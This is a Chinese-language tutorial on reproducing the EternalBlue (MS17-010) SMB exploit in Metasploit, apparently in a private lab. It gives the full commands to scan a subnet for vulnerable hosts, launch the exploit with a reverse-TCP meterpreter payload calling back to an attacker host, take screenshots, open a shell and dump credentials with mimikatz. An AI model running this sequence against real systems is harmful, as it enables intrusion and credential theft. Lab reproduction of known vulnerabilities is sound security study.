漏洞原理
簡介
永恆之藍漏洞是方程式組織在其漏洞利用框架中一個針對SMB服務進行攻擊的漏洞,該漏洞導致攻擊者在目標系統上可以執行任意代碼。
注:SMB服務的作用:該服務在Windows與UNIX系列OS之間搭起一座橋梁,讓兩者的資源可互通有無,SMB服務詳解:點擊查看
漏洞原理代碼詳解
下面兩篇文章從實際代碼詳細分析了漏洞原理,想要從代碼詳細理解該漏洞的同學可以點擊查看
http://blogs.360.cn/post/nsa-eternalblue-smb.html#toc-772
https://blog.csdn.net/qq_27446553/article/details/73480807
漏洞復現
MSF中有一個叫ms17_010的模塊
msf5 > search ms17-010 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 1 auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection 2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ 4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
使用插件測試目標是否存在這個漏洞
批量掃描是否有存在此漏洞的主機
auxiliary/scanner/smb/smb_ms17_010
root@kali:/# msfconsole msf5 > use auxiliary/scanner/smb/smb_ms17_010 msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.0/24 //掃描此ip段 msf5 auxiliary(scanner/smb/smb_ms17_010) > set THREADS 512 //設置線程 msf5 auxiliary(scanner/smb/smb_ms17_010) > run
哈哈發現目標:192.168.10.165
[+] 192.168.10.165:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
開始攻擊
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.10.165 msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.10.159 msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
Nice!!!得手
使用screenshot截屏看看(會存在/根目錄下)
嘿嘿一覽無余
使用shell進入目標主機的cmd
使用msf中的mimikatz,來爆出靶機的用戶名和密碼
meterpreter > load mimikatz
使用wdigest <讀取內存中存放的賬號密碼明文信息>
meterpreter > wdigest [+] Running as SYSTEM [*] Retrieving wdigest credentials wdigest credentials =================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;89141 NTLM T-PC T 0;89101 NTLM T-PC T 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;996 Negotiate WORKGROUP T-PC$ 0;49325 NTLM 0;999 NTLM WORKGROUP T-PC$
真正的一覽無余